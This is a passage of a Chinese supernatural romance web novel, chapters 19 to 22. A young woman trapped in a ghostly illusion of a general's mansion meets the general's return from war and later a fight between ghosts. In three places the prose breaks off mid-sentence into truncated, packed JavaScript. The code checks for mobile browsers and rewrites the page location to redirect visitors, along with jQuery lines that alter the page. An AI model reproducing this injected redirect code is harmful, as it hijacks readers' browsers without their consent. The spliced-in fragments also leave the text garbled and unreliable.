两人挨得近,黎秋又仰着脑袋,就见贺砚清垂着眼睫,温和笑着,“我当然是乔小姐的跑腿。” “……” 黎秋又想到梦里的乔挽云,一副强势又乐观的模样,果真是,想吃什么还得叫贺砚清跑腿。 但明明家里那么多小厮丫鬟的。 “他们的糯米团子紧俏,很早就会卖完,反正早上我要去上班,就顺带买了送回去。” “然后我才起床?” 这是黎秋又本人没跑了。 贺砚清视线在她身上定了一瞬,没有讲话。 “没猜错的话,跑腿这个活,你肯定一百个不愿意。” 毕竟先前送书去,都是差遣书童。 贺砚清还是看着她,不讲话,但眉眼间一直盛着笑意。 “还有这里。”他又指了一处地方。 这倒不是空院子了,是一家店铺,颜色深沉的招牌上,缀着同样颜色深沉的四个字,“光阴钟表”。 黎秋又:“这是一间表行。” “嗯。” “但也不单单卖表,这里面有许多精致的小玩意儿。”走到门口,贺砚清问黎秋又,“想进去看看吗?” 黎秋又摇头,“还是回去再说吧。” 贺砚清又继续说:“他在店后面隔了一间里屋出来,里面有许多器材工具,可以自己制作小陶瓷摆件,木雕,银器的。” 黎秋又惊:“这么先进!”这个模式的商铺,感觉老板很有想法。 “嗯,我回国后才有的。”是他与老板谈了合作,才有了后来的这些东西。 “我带你去过一次,后来你自己也总爱过来,做了不少小玩意儿,拿去送府里的人,送同学朋友。” “我都做了些什么?”黎秋又追问。 贺砚清又不说话了,黎秋又琢磨这人果然还是阴晴不定,只是看天色,因为才下过雪,看不见太阳,也并不太阴沉,她也分辨不出来贺砚清的情绪。 黎秋又以为话题就这么终结了呢,贺砚清才开口,嗓音低沉:“你做了很多东西,都还摆在家里,你给二太太送过一只银锁,小小一只,是孩童的平安锁,把二太太气得不轻。” “给银烛做了一对耳饰,原想做蝴蝶翅膀,但因为太精细,你嫌麻烦,后来做成了贝壳。” “给老爷子做了一个陶瓷杯,第一次上青花釉,是个失败品。” “给小池和小宣每人做了一只木头鸟,一只肚皮大脑袋大,无法站立,只能倒下去,用肚皮撑着,另一只你说是浮在水面上的鸭子,所以没有用脚。” 他越说,黎秋又越精神,好有意思的手工游戏!随口感叹一句:“我居然这么厉害!” “嗯。”贺砚清看着她眼中放光,有种跃跃欲试的冲动,仍是温和笑着。“正厅的博古架上,还有你后来做的青花瓷花瓶,学了许久,已经是熟练的行家了。 也就是这个年代没有手机玩了,换了现在,手机上看看就行,即便当时有立马从床上跳起来去鼓捣两下的冲动,再多刷过几个视频后也就忘到耳背坡。 “那你呢?我给你做了什么?” 贺砚清又垂下眼睫,轻颤了颤,“你还没来得及给我做。” 两人转了个弯,道路豁然开朗,积雪也都被扫过,路面干净不湿滑,黎秋又松开了攥着贺砚清的手,贺砚清的手腕间一空,失去了温暖。 “哦,”黎秋又想问为什么没来得及做,是不是就嗝屁了呢,街边突然热闹起来。 两人驻足靠边,从道路尽头吹吹打打来了一队人,为首者纵马游行,先前道冷清的街道,原来是因为百姓都到这条主路上来了。 夹道百姓闹哄哄的,黎秋又听了好半天才听明白,原来竟然是将军打了胜仗回来。 这也太快了。人这一辈子要是也能像这样高效率地快进,那可真要累死。 “就要看见年轻时候的你爹了,兴奋吗?”黎秋又反正有点期待,主要是想看看鱼老二,和鱼老二那个相好会不会在人群里。 贺砚清看她眼神里光彩熠熠,有些恍然,“你倒是很想见到他的样子?” 黎秋又老实道:“没准我们见到老爷子以后就能离开这个幻境了呢?” 对面的人群中忽然有人大喊:“乔姐姐!” 黎秋又被包裹严实的脑袋里只露出一对儿眼睛,就看见路对面有俩人一直朝她挥手。 “那是小池和小宣吧?”黎秋又的红色脑袋很显眼,也朝两人挥了挥手。 “我们看……耶了,就在……里。”两人一边顺着人流往前挤,一边隔着宽阔街道与黎秋又对话。 啥也听不清。 “他们说看见你表姐了,在队伍里。”贺砚清就在她耳边为她传达。 她们居然也到这里面来了! 黎秋又探头张望。 贺砚清在她身后,两手包着她的脑袋,朝一个方向转,指了指,“在那。” 那个方向,将军一袭暗红色花纹斗篷,像是泼了血在上面,红润的脸上喜气洋洋的,笑得一脸傲气,对着夹道欢迎的百姓开心地招手。 在他身后不远,那坐在马背上一摇一晃的,可不就是唐约嘛。 唐约穿着皮质风衣,那张脸依然光彩耀人。 只是看上去像是历经沧桑,眉眼忧愁,若说她过得不好呢,但又能看出来皮肤保养的都还不错,真是奇怪。 更奇怪的是,她的手腕被麻绳绑着。 她眼神扫过来,看见了脑袋红红的黎秋又,但又像不认得似的,冷漠地扭开了头。 在她身后没看见她经纪人。 “她不认得我了?难道不是本人?”黎秋又纳闷。 “她是,是你表姐。”贺砚清回答她。 黎秋又:“你怎么知道?不会是长得一样的人吗?” 贺砚清摇摇头:“我能感受到生人气息。” “哦。”黎秋又捂了捂嘴,一想到身边连活人都没有,脊梁骨又窜上来一股凉意。 “所以,你们都能感受到生人气息吗?”黎秋又指的是先前遇到的二太太,银烛,老爷他们。 连她都没有意识到现在两人距离有多近。 贺砚清知道她问的不是这里,而是那可怕的全是鬼的地方,摇摇头,轻说:“只有我。” 黎秋又突然问:“那你想吸人精气吗?”比如黑山老妖那样的。 贺砚清戳了戳黎秋又脑门上的红色围巾,有些无奈:“不。” 唐约的马儿跟在将军之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765639|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随着队伍越来越近。 黎秋又扭头看看贺砚清情绪,并没有什么波澜,问他:“看见年轻时候的你爹,有什么感受?” “没什么感受。” 人群在随着队伍往前挪动,两人被迫挤着往前走。 “你们之间的关系不太好吗?” 人太多,贺砚清拎起手指在黎秋又的肩上点了点,忽然间嘈杂声就变小了。 黎秋又只感受到肩上落地手指轻触,身边就像是蒙了一层水罩,所有人的声音都变成“嗡嗡”的,又朦胧,而后自己和贺砚清身侧就宽敞了。 她转圈瞧瞧,发现人群还是拥挤,但就像是有个看不见的光罩,把她和贺砚清两人罩起来,和人群隔离。 “你有这本事,怎么早不用啊。”黎秋又相当喜欢小贺同学的本事,赞扬地拍拍他肩,竖起拇指。 “我和他关系还行,但我不喜欢他。”贺砚清在回答她之前的问题,又说:“先前没挤到你,这会有点挤了。” 黎秋又心道:你小汁不要太爱! 贺砚清补充:“幻境之物是死物,活人要少接触。” 黎秋又:“……” 挤着挤着,两人和对面的二位男高终于碰头,人群也渐渐疏散开,原来尽头是有人在指挥疏散。 最终他们几人,站在了那个熟悉又陌生的将军府门前。 朱门高阁,此时门口还没有小狮子,倒是挂上了红红的小灯笼在房檐,还有烫金的“将军府”三个大字,崭新,锃亮。 将军等人没从马上下来,在门口打了一圈,睥睨桀骜的视线,在将军府三个字上来来回回地扫。 忽地注意到了实在太显眼的黎秋又,马儿踢踏两步到了跟前,他居高临下,望着黎秋又笑,用手里的马鞭抬了抬黎秋又的下巴,“美人可愿意来做我的将军夫人?” 黎秋又眼都快瞪出来了,她全身上下裹得就剩眼睛露在外面了,从哪看出来是美人的? 下一瞬又明白了,他看到的是秋兰。 贺砚清就在她身边,把黎秋又往自己身前带了一把,私自搂住了黎秋又的肩,神色平淡地睨向自己的老爹。 贺振江不理会贺砚清,又像是根本没看见,他只笑笑。 笑得难看,没贺砚清好看。 亏她那时候还觉得贺振江年轻的时候应该不输贺砚清的,现在看来,油腻腻的。 “哎!原来是老板你在这啊?这是你妹妹托我送来的鱼。”在黎秋又身后,人群之中钻出来一个人,两手抬着一筐鱼,看上去还是品种比较稀有的大鱼。 他把鱼筐放到黎秋又跟前后,又笑笑:“她叫我送来时没说给谁,我一路上还在担心没办法交代好差事,看见老板你在这我就放心了。” “鱼?”贺振江在马上笑,翻身下来看,“竟是我们这的清江黄鱼,美人有心了。” “你叫什么名字?” 黎秋又脑瓜子里飞速运转,整理这些人物关系。 鱼老二在婚前有了个相好,是参加剿匪的兵。 此兵承诺匪患平息后来娶鱼老二。 他们在将军府门前遇见了凯旋的将军,身后还跟着唐约。 此时,鱼老二派人送了鱼到将军府门前。 不巧的是,黎秋又,不,秋兰正好在这里。 送鱼来的人误以为这鱼是鱼老二叫他给秋兰的。 所以,这鱼原本应该是要送给将军府。 也就是送给贺振江? 或者说,鱼老二的相好就是贺振江? 她迅速理清了这些关系后,冷不防听见自己开口:“许清秋。” 黎秋又:“?” 贺砚清:“!” “哈哈哈,好,袁副官,你记下,我这将军府里,可以迎来一位夫人了。” 说罢,马鞭朝后一丢,大步跨入府里,唐约在他身后,被人搀扶下来,被绑着的手仍未松开,也进了府里。 路过黎秋又时,充满敌意的眼神又瞪了她一眼。 “她咋一副我抢她男人的表情!”黎秋又怒,但不敢大声。 宣余已经到了身边,“你可不就是抢了她男人么。” 黎秋又哼他一声。 贺砚清的神色不太对,黎秋又察觉到肩膀上的那只手有些颤抖。 “贺砚清?” 贺砚清松开黎秋又,轻轻叹息一声,“别担心。” “许清秋……是我生母的姓名。” 三人:“蛤?!” 20. 第 20 章 黎秋又原以为剧情是这样的:将军有个十分恩爱的原配夫人,原配夫人因生产落下疾病而去世,将军痛失爱妻后开始收集碎片,一位太太的眼睛与夫人相似,一位太太身上的胎记与夫人的相似,或者是气味相似的。 但怎么也不能是这样大街上随便抓的吧! 她自己写小说都不敢这么写! “有没有可能,这个人是在撒谎,害怕将军找上门,所以报了你.妈妈的名字,结果反而害了妈妈?”黎秋又猜测。 贺砚清摇头,“不用私自给已经逝去的人冠上好名声。” 黎秋又惊,她确实是这样的,如果听朋友说,或者新闻上说某人意外去世了,话题里没有带人物色彩,她通常默认对方一定是个善良又温暖的人。 她很想安慰一下贺砚清,但他看上去并没有多少复杂情绪,只是一副了然的样子,没有惋惜和痛心。 他回过身来,垂眸凝着黎秋又,神色认真:“是否有什么不可控制的能力,在限制你行为?” 这话他早就想问了,但先前黎秋又对他太警惕,一直没有合适时机。 黎秋又想想,点点头,“我好像和另一个人共用身体似的。” “来这里之前也这样?” 黎秋又摇头,“来这里之前我就是我。” 但不是乔挽云。 她没有说什么台词什么剧本的。 “现在,要听听我们俩去查到的事情吗?”池二浩在旁边举手,这俩孩子现在最在乎的是什么时候可以离开现在这个幻境。 “我来说我来说!”宣余挤着池二浩。 “少爷叫我们去那山上,当天傍晚头顶上整个都是红光漫天,光看天色就是杀戮之兆,我还……” 贺砚清五指并拢,捏住了宣余滔滔不绝的嘴,“小池,你说。” 池二浩点头,简明扼要:“唐约看似是被将军绑回来的,但我们觉得,他们应该早就在一起了。” “啊?”黎秋又五官都快捏到一起去了,“难怪小宣刚才说我抢她男人了。” “他怎么跟撒种子似的四处留情?” “对!他们剿匪的过程其实挺扯淡的。”贺砚清松了手,宣余又开始讲话:“老爷子带着兵冲进山上那寨子里,大喊一声‘归降’者不杀,然后所有妇女老人孩子就全都跑出来,往军队这边靠拢。” “他们好像一早就知道老爷子一定不会伤害他们似的。” “后来这些兵就冲进去,那刀光血影的,我当是真的残暴杀戮呢,结果没过多久,他们就绑着一队人,陆陆续续从里面出来了。” “那些血,其实都是鸡血鸭血!” “不光出来了,还人人手上都拎着鸡鸭兔什么的家禽,更奇怪的是,他们一边大喊,虏了山匪的压寨夫人,乐得不行。” “我们仔细一看,那压寨夫人,就是唐约姐!” “老爷子只捆了她的手,还搂着她腰亲了亲,唐约姐连躲都没躲,顺着就倚到老爷子怀里了!” 黎秋又再次感到离谱,“你是说,贺老将军他,不费一兵一卒,零人员伤亡,就把那匪窝给缴了?然后还和唐约早就亲密无间了?” 宣余说完了,池二浩点评:“对!顺利到不可思议。” 贺砚清在思考,黎秋又以为他也要再说些什么呢,却听他只说了句:“原来如此。” . “贺振江!” 回到屋里,贺振江调笑着拥着唐约,在她耳边轻吹一口气,“唐小姐生气了。” “呵,我有生气的资格么?”唐约挣脱开他。 “你现在摇身一变,成将军了,府里该有个正经清白的夫人了。” 贺振江回身,坐在桌边,自顾倒了茶来饮,“那你就告诉我,你的身份,我也可以把你八抬大轿娶回来。” 唐约一直没有告诉他自己是谁,从哪里来,只说了个名儿叫“唐婉约”。 叫去求助的廖欢一去不复返,她独自在那寨子里,恍恍惚惚过了许久,像是睡过来的,又像是穿越过来的,到她有时间意识后,才恍然在这里的时间已经过去了接近十年。 在刚才看见黎秋又后,心里已经麻木到不想相认,有什么用呢,她如果在这里,那意味着她也出不去,她如果不在这里,自己也是出不去。 眼前的贺振江突然间以奇异姿态变得扭曲,不,所有东西都在扭曲,桌椅板凳,墙壁房梁,所有东西都在像是被装在毛巾里,被人拧了一般。 霎时间,周边景色骤变,原先还亮着的天色,只在一瞬就暗了下去。 “天黑了!”池二浩惊呼。 黎秋又下意识拽着离她最近的贺砚清的衣摆,贺砚清一句“抱歉”。他立即回身,两手握住了黎秋又的肩。 此方空间突然风声凌冽,小刀似的在每个人身上刮来刮去,耳边布帛撕裂,黎秋又感觉自己身上穿的长裙,好像被风刀成了流苏。 这个感觉只持续了一瞬,在她刚刚感受到风是刀子做的时,她整个人就被裹进了一个温凉的怀抱里。 熟悉的雨后竹香,兜头罩过来,黑暗里,不知是什么将她从头到脚裹起来,她像是被隔离起来了,再也感受不到外面的风刀。 但她听到了宣余呜呜哇哇地乱叫。 “卧槽,什么玩意!啊啊啊啊啊啥东西拧我脚。” “浩子你抓我就抓我,掐我干嘛!” “哎哎哎,别拽别拽。” 他这一阵奇奇怪怪的呜哩哇啦,倒叫黎秋又安心了不少,说明没什么杀伤力。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768906|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >自己倒是被贺砚清护着,什么也没感受到了。 大概一分钟左右,风声和乱叫声都停下了,黎秋又动了动,贺砚清才送开她,她瞧见包裹着她的是贺砚清的衣服。 奇怪的是衣服在他身上并不长,也不厚,但就是把她从头到脚都护严实了。 贺砚清松开她后,又说句“抱歉”。 这倒让她有点不好意思了,明明是为了保护她才这样的。 黎秋又小声:“谢谢哦。” “哎我去?回来了?就这么简单?”宣余兴奋,四处张望着。 此间已经天黑了,四人正站在府门前,微弱暗红的灯笼光还打在门口那两颗石狮脑袋上。 池二浩非常善良地提醒宣余,“你还有五百个单词没有抄。” 宣余赶紧扑过来捂池二浩的嘴,扭头去看贺砚清,贺砚清看上去心情不错,在黎秋又身后,视线温和地扫过来,宽容地说:“明天再抄吧,今天早点回去休息。” “少爷回来啦!”有家丁跑过来,是习惯性要从贺砚清手里拎文件包的,但手伸出来了才发现少爷今天下班没有拎包,而且还……一身狼狈。 黎秋又才看清三人身上的衣服都或多或少被撕裂,或被扭皱。 “哎呀!少爷今儿做什么去了?怎么弄成这样啊?”小厮关心了一句,又跟在贺砚清身后进屋子。 贺砚清:“我们遇到土匪了。” “啊?土匪?这年头还有土匪?可得赶紧告诉将军去!”小厮这么说,又看着贺砚清的表情。 贺砚清面上冷漠,没有理会,小厮当是默认,连忙跑走了。 “我们走的时候好像不这样吧?”黎秋又把手揣兜里,小声发问。 院子里还是阴气森森的,没有了昨晚的热闹,这里面比起昨天更多了鬼气,虽然不像幻境里那样冰天雪地的,但比幻境里冷多了。 她还没来得及搓胳膊腿呢,那个带着清竹香的外套就披到了她肩上。 “夜里阴冷。”他没有回答黎秋又刚才说的话,也没有再说一遍抱歉。 黎秋又猜测,难道是出了幻境,他又变回男鬼属性了? “怀真。” 二太太声音不知道从哪里冒出来,黎秋又和池二浩宣余三人都是瞬间起了一层鸡皮疙瘩,视线你转半圈,我转半圈,都没看见人。 贺砚清盯着一个方向,向那里走了两步,“二妈妈,夜里这么冷,怎么不回屋里去?” 贺砚清的语气怪怪的,听上去很温和,但和黎秋又面前时的声音又完全不同,像是画里的壁炉,能看见温暖,但感受不到温度。 【乔挽云与贺砚清一道回府,欲回客房,却被二太太拦下,派人带着她去往老爷屋里。】 乔同志在线求助!急! 21. 第 21 章 几人在看见台词出现的一瞬间,池二浩第一时间挡在了黎秋又、台词,和二太太贺砚清之间,宣余眼疾手快冲上来把那老爷的老字擦掉,示意黎秋又赶紧写。 又改成少爷?还能一直这样? 黎秋又也不觉得如此甚好,掏出笔赶紧写,写了个小。 下面的一撇画不出来了。 凉风阵阵,黎秋又眼泪都快急出来了,恨不能把手指咬破了写上去。 宣余看着也急,挡在身前的池二浩正在答二太太的话,黎秋又牙齿太钝了,半天没咬破手指,还是拿着碧玉的笔甩甩往上写。 这时候,台词消失了。 黎秋又:“&*%¥……” “小爷是谁啊!” “十六太太,请。”换了个丫鬟,这次不是银烛了,黎秋又没精力去问为什么不是银烛,她盯着这丫鬟空洞的眼眶,缩了缩脖子,只能跟着走。 路过时,贺砚清一把拽住了黎秋又,拉到身边来。 “二妈妈,乔小姐今日同我一道出去办了些事,儿子觉得亏欠,安排了客房沐浴,不如让乔小姐今晚先回客房休息。” 二太太皱眉,她像是很难理解贺砚清的话,偏了偏脑袋,仔细思考。 但想着想着,脸上表情开始变得怪异。 榕树上稀疏的叶片开始沙沙摇摆,风带起了水里的味道,黎秋又没有闻到什么鱼腥。 贺砚清拉着黎秋又推远了几步。 红影摇晃,一些不堪风吹的灯笼烛被熄灭,院子里更暗了。 二太太的面部皮肤开始回缩,像黎秋又拳头那么大眼眶的肉眼可见地凸出来,直到皮肤完全退化,只能看见干瘪的焦皮罩在骷髅上。 这一切仅仅发生在一两秒之间。 贺砚清把黎秋又拉远后,回身又在二太太肩上拍了一掌,从那掌下,陡然震出一波风浪,以他手掌为中心,重重叠叠冲出院子,霎时间,风静水止。 黎秋又脸颊的碎发被扬起又落下。 二太太的脑袋缓缓转向贺砚清,发出僵硬的“咔咔”声,两只黑洞看着贺砚清。 黎秋又三人甚至还是能从她黑洞眼眶中瞧见不可思议的表情。 她口中发出嘶哑的“啊啊”声,不是痛苦呻.吟,倒像是在讲话。 原来这就是鬼话啊。 贺砚清只盯进那可怕的空洞里,没有言语。 原先隐在黑暗中的洒扫下人不知什么时候已经窸窸窣窣地围了过来,渐渐形成一个包围圈。 “二太太”大喝一声,像是狼人要变身了似的,黎秋又在贺砚清身后,攥了攥他衣摆,更贴近了些。 池二浩宣余两人只能抱团。 看样子,他们三个今天要么是欣赏一出鬼咬鬼的戏,要么就是被这一群鬼拆吞入腹了。 如果不按照剧情走,活人开始反抗,黎秋又能想象得到那个场面。 初次进入这里时,在鬼怪面前尖叫吵嚷的活人,几乎是一瞬间就被这里的鬼怪撕碎,她没能看见,但听到了曾在动物世界里听到过的声音。 那些东西靠近时没有声音,但黎秋又就是感觉到危险正在靠拢,因贺砚清刚才的神通,现在连风也没有了。 二太太的口中仍发出“赫赫”的声音,她的面容越来越狰狞,嘴越张越大,但按在她肩头的手却仿佛压得她动弹不得。 “我妈妈她,不是病逝的吧?” 贺砚清冷然的声音,从他仍旧温和的唇齿中说出。 二太太骤然闭嘴,空洞眼眶里突然有了错愕。 黎秋又攥着贺砚清衣摆的手一紧。 后面两人也有些纳闷。 他们进的不是同一个幻境吗? 怎么他们没有看到什么许清秋过世时的景象。 贺砚清松开了搭在二太太肩上的手,又用另一只手,轻轻拍了拍黎秋又,像在哄孩子。 黎秋又握拳的手松开,她被贺砚清靠近的身体遮住,看不见二太太了。 那股猛烈的悲伤再次窜上来,就像是刚刚受到了莫大的委屈,这是黎秋又进到这里面来第三次发生这种情况了,眼泪止不住地流,此时非常想要抱着什么嚎啕大哭一场。 但面前情形剑拔弩张,黎秋又在贺砚清身后,背过身去,假装很冷,蹲下去狠狠抱着自己,埋着脑袋开哭。 没有声音,只是耸动着肩膀,可吓坏了池二浩和宣余,两人赶紧凑近,三个蹲在那里的人就像聚众拉屎。 众鬼:“……” 我们还没干啥呢! “乔姐姐,你别怕,我们有少爷呢。”宣余发现黎秋又在哭,压着嗓子安慰黎秋又。 池二浩:“有危险我垫你前面,乔姐姐别哭。” 可这情绪来得快去得快,没持续多久,黎秋又抽抽两下,就抬起头来,擦干眼泪。 贺砚清回头,就看见黎秋又红着眼眶,噙着泪的双眸,茫然转过视线来看着他。 他拉了一把盖在黎秋又后背的外套,把三个人脑袋都罩在里面。 接着,横冲直撞的气流四下奔走,呜呜呀呀、呲呲啵啵的声音,跟着三个人发抖的频率传来。 好一阵的兵荒马乱,黎秋又吸了吸鼻子,“谁放屁了?” 一直紧绷着神经的两人:“……?” 衣服下面全是贺砚清的清竹香,但隐隐又有股恶臭。 三人凑近些,池二浩琢磨:“应该是从外面传出来的,要不,我掀开看看?” 贺砚清这件衣服真是神奇,先前把黎秋又整个人护住没有受一点伤以外,现在还把他们三个人都包住了。 池二浩把衣服掀开一个角,果然那股恶臭就钻进来了,又有一只鬼手突然落到面前来,吓得他赶紧把衣服角按在地下。 宣余惊喜:“这衣服厉害啊,保温还防臭,乔姐姐,你回头跟少爷说说,给我也整一件。” 黎秋又鼻音重,鸭子发声:“你真看得起我,要不要我跟少爷说说想办法把你送回去?” “啧,乔姐姐你还看不明白呢?”宣余一副急性子,问池二浩:“你呢,你看明白了吗?” 池二浩好一会儿,重重点头:“乔姐姐,少爷对你真的不一样。” “就是喜欢你!”宣余差点喊出来了,池二浩赶紧捂住他嘴巴,外面正在鬼鬼大战呢,三人在这最好还是不要吸引火力。 “他就算喜欢,喜欢的也是乔挽云。” 宣余:“你不就是乔挽云吗?” 黎秋又白他一眼,“你是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785754|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣吗?” “是啊。” 黎秋又:“……” 宣余:“哎,这不重要,只要他喜欢你,那就能保护你,我们俩以后就跟你混了。” 池二浩冷不丁开口:“我嘞个去啊……这神特么的小妈文学啊。” 他这话一出,黎秋又和宣余后背都起了一层毛汗。 如果真是这样,几人继续按照剧情走向发展,那乔挽云的下场,似乎只会更惨。 这个时代,男人在感情上犯了错,没什么大不了,有功绩在身上,日后的日子还是很好过。 女人稍一走错就成了万劫不复。 黎秋又再次联想到自己被沉塘的下场了。 “没关系,我能改剧本。”黎秋又拿出自己的笔。 毛笔通身发着淡幽幽的绿光,像是刚用干净墨水,现在正在开始慢慢蓄墨似的淡。 宣余:“对,回头我们想办法让剧情往好了变,比如你想办法跟老将军离婚。” 池二浩:“那我们是不是要先搞清楚,为什么家里只有一个二太太,乔姐姐却是十六太太,之前的太太哪去了?” 黎秋又脑海中突然冒出来池中那个原本应该是唐约的尸体。 “死了?” 池二浩:“刚才少爷问那话的意思,难道是说,他生母的死,和二太太有关。” 黎秋又清楚了,“我现在最重要的任务是,防止二太太把我害死。” 贺砚清的声音在外面:“阿云别怕,可以出来了。” 罩着三人的安全衣被掀开,奇怪的味道已经消散,周边再次归于沉寂,安静地就像什么也没有发生过。 他拉着黎秋又起身,从口袋里取出一只干净的手帕递给黎秋又,“吓着你了,以后不会了。” 这时候的人,随身不带纸巾湿巾,带的都是手帕,难道擤鼻涕擦眼泪都用这个?然后回到家以后再洗? 有点恶心,黎秋又接过来,不太敢用,捏在手里。 贺砚清垂眸,像是听见了她的心里话,“新的,只给你用。” “哇!少爷,你好厉害啊!”宣余到处转了一圈,探头去树上看,水里看,绿化丛里看,“那些东西都被少爷打没了?” 贺砚清有些黯然,“他们明天又会复生,我没有办法完全消灭他们,因为本就是亡魂。” 难怪!拜堂那天,黎秋又亲眼见到贺砚清把两个树墩子老头脑袋摘了,第二天又出现,还在跟她正常对话。 “所以今晚,我是不是可以还回客房睡?”这是黎秋又最关心的问题。 贺砚清把那身外套还是披在黎秋又身上,带着她转了个身,“我送你回客房。” “以后你就住这里,我每晚都送你回来。” “那太好了!”黎秋又雀跃,这么说,再也不用担心要去跟什么老爷子圆房的事了。 “那我们呢!”宣余凑过来。 贺砚清瞥他一眼,笑笑:“你明天早起就抄单词。” 池二浩憋着笑,不出声,贺砚清又安排他:“你也和他一起抄。” 池二浩泄气,“为什么啊?” “因为你们联合阿云,瞒了我一件很重要的事。” 黎秋又汗毛倒竖:“!?” 22. 第 22 章 客房里的温暖,让黎秋又一身的毛病都钻出来了,又饿又困,趴在桌上撑着眼皮。 贺砚清坐在小桌旁边,等着黎秋又的回答。 半个小时前,他问黎秋又,她是不是有什么能力能够改变当年发生过的事件。 黎秋又不敢把这一切从头告诉贺砚清,如果他知道自己不是乔挽云,应该会死得很惨,他把宣余和池二浩打发走了,现在只有他们俩在屋子里。 贺砚清不急,不知从哪里翻了本书出来看,在灯下,看得津津有味。 黎秋又说先思考一下怎么跟他说,他就一直在这里等着。 “这些书,你还没看腻吗?”趴桌上的黎秋又偏着脑袋,蔫哒哒的。 他看的是《福尔摩斯》,黎秋又记得查过的资料说,这本书在民国的时候,有节选放入课本作为教材。 并且时下还有畅销的衍生连环画,不过贺砚清手里这本是原著,黎秋又想要看看和他搭两句话都没辙——她英语成绩差得惨绝人寰。 贺砚清:“你看过了吗?” 黎秋又下意识回答:“不是你送来的书吗?” 隔着泛黄的老旧灯光,贺砚清看着她。 黎秋又:“……” 贺砚清:“你还能记得?” 黎秋又:“……” “现世是何年?” 黎秋又不瞌睡了,双眼睁圆,“民国……十九年?” “我是问你,你来的那个时代,是何年?” 贺砚清神色认真,俊秀的白皙面容在灯光下带着暖融融的温度。 黎秋又咽了咽口水。 她开始祈祷贺砚清对乔挽云的感情能够保住她。 贺砚清连鬼都能杀,何况她这个哈基人。 贺砚清这个大鬼,真是厉害,不仅知道自己是已亡之人,还知道外面世界仍在前进。 “新中国,2025年。” 贺砚清视线又转回书上去,劲瘦骨节翻了翻书页,“嗯,快要一百年了。” “你怎么可能还记得,孟婆汤都喝过了两轮。” 黎秋又脸皮抽抽,嗯嗯嗯对,很好,贺砚清为她安排了一个什么也不知道的好借口。 她趁机多问点,“那以前的乔挽云是什么样的人呢?” “叩叩” “少爷,您要的宵夜来了。” 门外响起一个熟悉的声音,黎秋又打了个惊颤。 贺砚清把书合上放在背后的台子上,沉声唤:“进来吧。” 黎秋又趴在桌上靠近贺砚清的姿势不变,瞧见了推门进来的老张。 老张低着头,小心端着托盘,从门口慢慢往里挪,到跟前了,贺砚清看见盘里的碗,轻笑一声:“让你做拿手的,就这个?” “我喜欢吃馄饨!”黎秋又饿啊,闻到香味,而且还是自己“同类”做的,那简直太幸福了。 老张尴尬笑笑,把那碗馄饨放在桌上,拎着托盘站那,没等贺砚清发话,走也不是留也不是。 “是给我吃的吗?”黎秋又整个人都爬上了凳子,小身板在太师椅里还装不满,她笑盈盈地看看馄饨,又看看贺砚清。 贺砚清温和眨眼,“嗯。” “先让我尝尝。” “啊?” 一只汤碗,却搁了两只汤匙,贺砚清接过来,舀了一只,倒进嘴里,他用的那只汤匙就放在了桌上。 黎秋又小声惊呼:“烫!” “没事,”贺砚清囫囵一口吞了,并不是想品尝味道似的,又推给黎秋又,“吃吧。” 黎秋又捧过碗来,笑得一脸满足,就开始吹吹狂炫。 “你还有什么拿手的厨艺?”贺砚清问老张。 老张老实道:“我会做馄饨,云吞,抄手,包面。” 黎秋又:“噗咳咳咳……” 贺砚清隐隐叹了一声:“明天起,跟着厨房里的厨子学学,乔小姐的饭菜只能过你的手。” 老张没有抬头和黎秋又交换眼神,仍旧把脑袋压得低低的,说了声“好的少爷。” “回去休息吧,晚上如果睡不好,去找小池给你安排一间单独的房间。”贺砚清挥挥手让他走了。 门被打开又关上,闯进来的凉风害黎秋又打了个冷颤。 “你好温柔啊,贺砚清。” 黎秋又早想说这话了,他似乎对谁都是这样缓缓低语。 “非也。”贺砚清靠进椅背里,偏头看着黎秋又趴在桌上吃馄饨,灯光也在她的头发上投下毛绒绒的影子。 “你从前总说我凶,你不喜欢我冷着脸,你说看着跟要吃了你似的。” 黎秋又喝一口鲜掉眉毛的汤,“还别说,一开始我还真这么想的。” “你尝尝这个汤也挺好喝的。”黎秋又汤匙里只舀了汤,递到贺砚清唇边。 贺砚清望她半晌,小心靠近,就着她的手,抿了一口汤。 “嗯,好喝。”他认可地点点头。 黎秋又眼中笑出了星子,她喜欢这种感觉,被认可的感觉。 以前,她喜欢吃的东西,告诉别人,别人吃过以后说“一般般,你的品味也一般。” 喜欢看的书,电视剧,喜欢玩的游戏,安利给身边的人,大多得不到正面反馈,他们要么说“现在没空看,没空玩”,要么说“看过了,不怎么样”。 久了,她就不再喜欢分享了。 “贺砚清,你会饿吗?” 鬼应该不会饿,就算饿,那可能也是想吃人了…… 黎秋又问完就有点后悔了,她悄悄抬起眼睛去看贺砚清。 